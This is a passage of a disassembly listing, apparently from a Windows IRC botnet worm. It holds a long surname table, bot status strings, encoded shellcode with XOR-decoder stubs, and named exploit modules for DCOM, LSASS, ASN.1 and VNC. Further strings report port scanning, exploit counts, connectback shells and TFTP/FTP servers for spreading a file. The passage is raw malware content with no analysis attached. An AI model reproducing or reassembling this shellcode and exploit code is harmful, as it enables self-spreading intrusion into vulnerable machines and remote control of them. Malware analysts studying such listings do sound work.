XREF: .data:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: .data:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: .data:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: .data:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: .data:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: .data:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .data:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: .data:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: .data:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: .data:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: .data:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .data:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: .data:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: .data:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .data:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .data:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: .data:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: .data:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .data:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .data:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: .data:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: .data:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .data:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .data:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: .data:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: .data:0042DC64o aCanley db 'Canley',0 ; DATA XREF: .data:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: .data:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .data:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .data:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: .data:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: .data:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: .data:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: .data:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: .data:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: .data:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: .data:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .data:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: .data:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: .data:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: .data:0042DC28o aBudding db 'Budding',0 ; DATA XREF: .data:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: .data:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .data:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: .data:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: .data:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: .data:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: .data:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: .data:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: .data:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .data:0042DBFCo ; .data:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: .data:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: .data:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: .data:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: .data:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: .data:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: .data:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: .data:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: .data:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: .data:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .data:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: .data:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .data:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: .data:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: .data:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .data:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .data:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: .data:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: .data:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: .data:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: .data:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: .data:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: .data:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .data:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: .data:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: .data:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: .data:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: .data:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: .data:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: .data:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: .data:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: .data:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: .data:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: .data:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: .data:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: .data:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .data:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: .data:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .data:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: .data:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: .data:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: .data:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: .data:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .data:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .data:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .data:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .data:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: .data:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: .data:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: .data:0042DB38o aBinion db 'Binion',0 ; DATA XREF: .data:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: .data:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .data:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: .data:0042DB28o aBetti db 'Betti',0 ; DATA XREF: .data:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .data:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: .data:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: .data:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .data:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .data:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: .data:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .data:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: .data:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: .data:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: .data:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .data:0042DAF8o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .data:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .data:0042DAF0o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: .data:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: .data:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: .data:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: .data:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: .data:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: .data:0042DAD8o aBean db 'Bean',0 ; DATA XREF: .data:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: .data:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .data:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: .data:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: .data:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: .data:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .data:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .data:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .data:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: .data:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .data:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .data:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: .data:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .data:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .data:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: .data:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .data:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .data:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: .data:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .data:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: .data:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: .data:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: .data:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: .data:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: .data:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: .data:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: .data:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .data:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: .data:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .data:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: .data:0042DA5Co aBady db 'Bady',0 ; DATA XREF: .data:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: .data:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .data:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: .data:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: .data:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: .data:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: .data:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: .data:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: .data:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: .data:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .data:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: .data:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: .data:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: .data:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .data:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: .data:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: .data:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: .data:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: .data:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .data:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: .data:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .data:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: .data:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .data:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: .data:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: .data:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: .data:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: .data:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: .data:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: .data:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .data:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: .data:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: .data:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: .data:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .data:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: .data:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: .data:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: .data:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .data:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: .data:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .data:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: .data:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .data:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: .data:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: .data:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: .data:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .data:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .data:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: .text:0040ABE6o ; .text:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: .text:0040AC91o aS_0 db '[%s]|',0 ; DATA XREF: .text:0040AD9Bo align 4 a??? db '???',0 ; DATA XREF: .text:loc_40AD92o ; sub_41AF8F:loc_41B052o a2k3 db '2K3',0 ; DATA XREF: .text:0040AD8Bo aXp db 'XP',0 ; DATA XREF: .text:0040AD7Do ; .text:0040AF89o ... align 10h a2k db '2K',0 ; DATA XREF: .text:0040AD6Do ; .text:0040AF79o ... align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:0040AD54o ; .text:0040AF60o ... align 4 a98 db '98',0 ; DATA XREF: .text:0040AD44o ; .text:0040AF50o ... align 4 aNt_0 db 'NT',0 ; DATA XREF: .text:0040AD34o ; .text:0040AF41o ... align 10h a95 db '95',0 ; DATA XREF: .text:0040AD26o ; .text:0040AF33o ... align 4 ; char aDS[] aDS db '[%d]%s',0 ; DATA XREF: sub_40ADE1+3Ao align 4 ; char aM[] aM db '[M]',0 ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS_0 db '%s|%s|%s|%s|',0 ; DATA XREF: .text:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: .text:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: .text:0040B072o ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .text:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: .text:0040B037o dword_431660 dd 345053h ; DATA XREF: .text:0040B02Do dword_431664 dd 34h ; DATA XREF: .text:0040B021o dword_431668 dd 335053h ; DATA XREF: .text:0040B014o dword_43166C dd 33h ; DATA XREF: .text:0040B003o dword_431670 dd 325053h ; DATA XREF: .text:0040AFF6o dword_431674 dd 32h ; DATA XREF: .text:0040AFE5o dword_431678 dd 315053h ; DATA XREF: .text:0040AFD8o dword_43167C dd 305053h ; DATA XREF: .text:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: .text:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: .text:0040AF97o dword_431688 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+C4o db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h dword_4316A0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_40B2B3+A2o db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw dd 70746674h, 6578652Eh, 20692D20h aGet db ' get ',0 ; DATA XREF: sub_40B13C+79o ; sub_40B13C+9Bo aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw db 75h, 1, 0C3h db 0E8h dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h dword_43177C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B477+10o ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 ; char aSSStopped_DThr[] aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; .text:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; .text:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o aDcom135_0 db 'dcom135',0 align 4 dd 100h, 3 dup(0) dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah, 9912589Ah dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh, 1059AA24h dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h, 10A1DF10h dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh dd 99h ; char aTotalDInS_[] aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 ; char asc_431B88[] asc_431B88 db ' ' ; DATA XREF: sub_40B90E+46o db 3, 37h, 25h dd 203A0373h, 2C6425h ; char asc_431B94[] asc_431B94 db '-' ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 ; char asc_431BB4[] asc_431BB4 db '-' ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 ; char asc_431BFC[] asc_431BFC db '-' ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 ; char aScanTimeS_[] aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo ; char asc_431C38[] asc_431C38 db ' ' ; DATA XREF: sub_40BA9E+40o db 3, 37h, 25h dd 28200373h, 73253403h, 2C2903h ; char asc_431C48[] asc_431C48 db '-' ; DATA XREF: sub_40BA9E+14o db 3, 34h, 2 dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch dd 3Ah ; char asc_431C64[] asc_431C64 db '-' ; DATA XREF: sub_40BB65+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 ; char asc_431C98[] asc_431C98 db '-' ; DATA XREF: sub_40BB65+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 ; char asc_431CC8[] asc_431CC8 db '-' ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 ; char asc_431CE8[] asc_431CE8 db '-' ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 ; char asc_431D04[] asc_431D04 db '-' ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 ; char asc_431D38[] asc_431D38 db '-' ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 ; char asc_431D70[] asc_431D70 db '-' ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h ; char asc_431DA0[] asc_431DA0 db '-' ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 ; char asc_431DD4[] asc_431DD4 db '-' ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 ; char asc_431E08[] asc_431E08 db '-' ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 ; char asc_431E3C[] asc_431E3C db '-' ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 ; char asc_431E64[] asc_431E64 db '-' ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_431E9C[] asc_431E9C db '-' ; DATA XREF: sub_40C600+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 ; char asc_431EDC[] asc_431EDC db '-' ; DATA XREF: sub_40C600+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 ; char asc_431F14[] asc_431F14 db '-' ; DATA XREF: sub_40C600+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 ; char asc_431F48[] asc_431F48 db '-' ; DATA XREF: sub_40C600+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 ; char asc_431F7C[] asc_431F7C db '-' ; DATA XREF: sub_40C85F+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 ; char asc_431FA4[] asc_431FA4 db '-' ; DATA XREF: sub_40C92C+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 ; char asc_431FCC[] asc_431FCC db '-' ; DATA XREF: 